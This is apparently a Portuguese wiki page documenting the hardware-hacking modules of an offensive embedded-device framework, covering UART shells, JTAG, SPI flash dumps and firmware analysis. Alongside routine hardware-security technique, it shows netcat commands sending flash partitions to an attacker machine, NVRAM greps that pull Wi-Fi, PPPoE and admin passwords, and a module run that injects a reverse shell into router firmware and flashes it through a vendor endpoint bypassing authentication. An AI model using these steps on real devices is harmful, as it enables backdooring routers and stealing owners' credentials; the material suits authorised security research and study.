Skip to content

Hardware Hacking ptBR

André Henrique edited this page Jun 8, 2026 · 1 revision

Idioma: Português (pt-BR) | English: Hardware-Hacking

Hardware Hacking

Módulos e técnicas para avaliação de segurança física de dispositivos embarcados. Abrange acesso ao console serial, depuração JTAG, extração de firmware e análise de memória flash.


Visão Geral

O hardware hacking fornece acesso aos internos do dispositivo que não estão expostos pela rede. Os pontos de entrada mais comuns incluem:

  • UART/Console serial - shell root sem autenticação na maioria dos roteadores SOHO e câmeras
  • JTAG/SWD - depuração completa do chip, leitura/escrita de memória, breakpoints
  • Flash SPI/NAND/NOR - extração direta de firmware sem executar o sistema operacional
  • EEPROM I2C/SPI - extração de configuração e credenciais de memória não volátil

Acesso Serial (UART)

Shell Interativo via pyserial

O EmbedXPL-Forge inclui um módulo de exploração de dispositivo serial para interação automatizada com consoles UART.

exf > use exploits/hardware/serial_console_access
exf (SerialAccess) > show options

Options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  PORT      /dev/ttyUSB0     yes       Dispositivo de porta serial
  BAUD      115200           yes       Taxa de baud (comuns: 9600, 38400, 57600, 115200)
  DATABITS  8                no        Bits de dados (5, 6, 7, 8)
  PARITY    N                no        Paridade: N (nenhuma), E (par), O (ímpar)
  STOPBITS  1                no        Bits de parada (1, 1,5, 2)
  TIMEOUT   5                no        Tempo limite de leitura (segundos)
  CMD                        no        Comando a executar após acesso ao shell
exf (SerialAccess) > set PORT /dev/ttyUSB0
exf (SerialAccess) > set BAUD 115200
exf (SerialAccess) > run

[*] Abrindo /dev/ttyUSB0 em 115200 8N1
[*] Aguardando sequência de inicialização...
[+] Mensagens de boot detectadas:
    U-Boot 2018.01 (Nov 12 2020 - 10:33:04 +0000)
    ...
    BusyBox v1.27.2 built-in shell (ash)
    Enter 'help' for a list of built-in commands.

[+] Prompt do shell detectado: #
[+] Executando 'cat /etc/passwd':
    root:x:0:0:root:/:/bin/sh
    admin:x:1000:1000::/home/admin:/bin/sh

[+] Sessão interativa aberta. Digite 'exit' para fechar.
# id
uid=0(root) gid=0(root)

API Python Serial

import serial
from embedxpl.core.hardware.serial_console import SerialConsole

console = SerialConsole(port="/dev/ttyUSB0", baud=115200, timeout=5)
console.open()

# Aguarda prompt do shell
if console.wait_for_prompt(["#", "$", ">"], timeout=60):
    output = console.execute("cat /etc/passwd")
    print(output)

    output = console.execute("cat /etc/config/wireless")
    print(output)

console.close()

Saída esperada:

[*] Conectando a /dev/ttyUSB0 @ 115200 baud...
[+] Acesso ao shell confirmado (prompt: #)
[+] /etc/passwd:
    root:x:0:0:root:/:/bin/sh
    admin:x:1000:1000::/home/admin:/bin/sh
[+] /etc/config/wireless:
    config wifi-device 'radio0'
        option type 'mac80211'
        option channel '6'
    config wifi-iface
        option ssid 'MyRouter'
        option key 'MyWifiPass123'

Taxas de Baud UART Comuns por Vendor

Vendor Taxa de Baud Comum Notas
TP-Link 57600 Maioria dos roteadores SOHO
D-Link 57600 Série DIR
NETGEAR 115200 Nighthawk, série R
Huawei 115200 ONTs série HG/EG
ZTE 115200 Série ZXHN
Ubiquiti 115200 UniFi, EdgeOS
MikroTik 115200 Dispositivos RouterOS
Hikvision 115200 Câmeras série DS-2CD
Dahua 115200 Série DVR/NVR
Generic OpenWrt 115200 Maioria dos dispositivos

Extração de Firmware via UART

Após obter acesso ao shell serial, extraia o firmware diretamente da memória flash:

# No shell do dispositivo (acesso root via UART)

# Método 1: Ler partição flash bruta
cat /dev/mtd0 > /tmp/bootloader.bin
cat /dev/mtd1 > /tmp/kernel.bin
cat /dev/mtd2 > /tmp/rootfs.bin
cat /dev/mtd3 > /tmp/firmware.bin

# Transferir via tftp (se disponível)
tftp -p -l /tmp/firmware.bin 192.168.1.10

# Método 2: Transferência via netcat
nc 192.168.1.10 9999 < /dev/mtd2

# Na máquina do atacante
nc -l -p 9999 > firmware_rootfs.bin

# Método 3: SCP (se SSH estiver acessível)
scp root@192.168.1.1:/dev/mtd2 ./firmware_rootfs.bin

Análise de Firmware (Ferramentas EmbedXPL-Forge)

exf > use exploits/firmware/firmware_format_detect
exf (FirmwareDetect) > set FIRMWARE /caminho/para/firmware.bin
exf (FirmwareDetect) > run

[*] Analisando: firmware.bin (8.388.608 bytes)
[+] Formato detectado: TRX (variante TP-Link)
    Checksum: CRC32 válido
    Partições:
      [0] bootloader   0x000000 - 0x01FFFF (128KB)
      [1] kernel       0x020000 - 0x27FFFF (2,4MB)
      [2] rootfs       0x280000 - 0x7FFFFF (5,5MB)
    Compressão: LZMA
    Arquitetura: MIPS (big-endian)
# Injetar backdoor e remontar
exf > use exploits/firmware/netgear_firmware_flash
exf (FirmwareFlash) > set target 192.168.1.1
exf (FirmwareFlash) > set firmware /caminho/para/backdoored.bin
exf (FirmwareFlash) > set lhost 10.0.0.10
exf (FirmwareFlash) > set lport 4444
exf (FirmwareFlash) > run

[*] Formato: TRX (variante NETGEAR)
[*] Injetando reverse shell no offset 0x5A0000...
[*] Recalculando checksum CRC32/MD5...
[*] Enviando via endpoint flash do vendor (contornando autenticação)...
[+] Firmware aceito - aguardando reinicialização do dispositivo (~60s)
[+] Reverse shell recebido de 192.168.1.1:4444
[+] uid=0(root) gid=0(root)

Acesso JTAG/SWD

O JTAG fornece depuração completa em nível de chip. Casos de uso comuns:

  • Contornar secure boot (se presente, mas mal configurado)
  • Ler flash NAND/NOR quando o sistema operacional está inacessível
  • Definir breakpoints de hardware para fazer engenharia reversa de protocolos proprietários

Identificando Pinos JTAG

Os pinos JTAG em placas embarcadas costumam ser rotulados ou seguem os cabeçalhos padrão MIPS/ARM:

Sinal MIPS (32 pinos) ARM (20 pinos JTAG) Notas
TDI Pino 4 Pino 5 Test Data In
TDO Pino 5 Pino 13 Test Data Out
TCK Pino 7 Pino 9 Test Clock
TMS Pino 6 Pino 7 Test Mode Select
TRST Pino 8 Pino 3 Test Reset (opcional)
GND Pino 1 Pinos 4, 6, 8 Terra

Integração com OpenOCD

# Conectar ao alvo via JTAG (OpenOCD + adaptador USB)
openocd -f interface/ftdi/jtagkey.cfg -f target/mips_4kc.cfg

# Na sessão telnet do OpenOCD (porta 4444)
telnet localhost 4444
> halt
> dump_image /tmp/flash_dump.bin 0x00000000 0x800000
> resume
> exit

Extração Direta de Flash SPI

Para dispositivos onde o UART não está acessível ou o bootloader está bloqueado:

# Ferramentas: flashrom + programador CH341A

# Identificar chip flash (comum em roteadores SOHO)
# Winbond W25Q128, Macronix MX25L12835, GigaDevice GD25Q64

# Ler chip
flashrom -p ch341a_spi -r firmware_full.bin

[*] flashrom v1.3.0 on Linux 6.1.0
[*] Found chip "Winbond W25Q128.V" (16384 KB) on ch341a_spi.
[*] Reading flash... done.
[*] Saved to firmware_full.bin

# Gravar firmware modificado de volta
flashrom -p ch341a_spi -w modified_firmware.bin

Extração de Credenciais da NVRAM

# No shell do dispositivo (UART ou via RCE)

# Ler NVRAM (Broadcom/TP-Link)
nvram show 2>/dev/null | grep -E 'pass|key|ssid|admin'

# Saída esperada:
wan_pppoe_username=myuser@isp.com
wan_pppoe_password=MyISPPass
wl_wpa_psk=MyWifiKey2024
http_passwd=admin123

Home | Ferramentas Firmware | Módulos ISP


André Henrique (@mrhenrike) | União Geek

Clone this wiki locally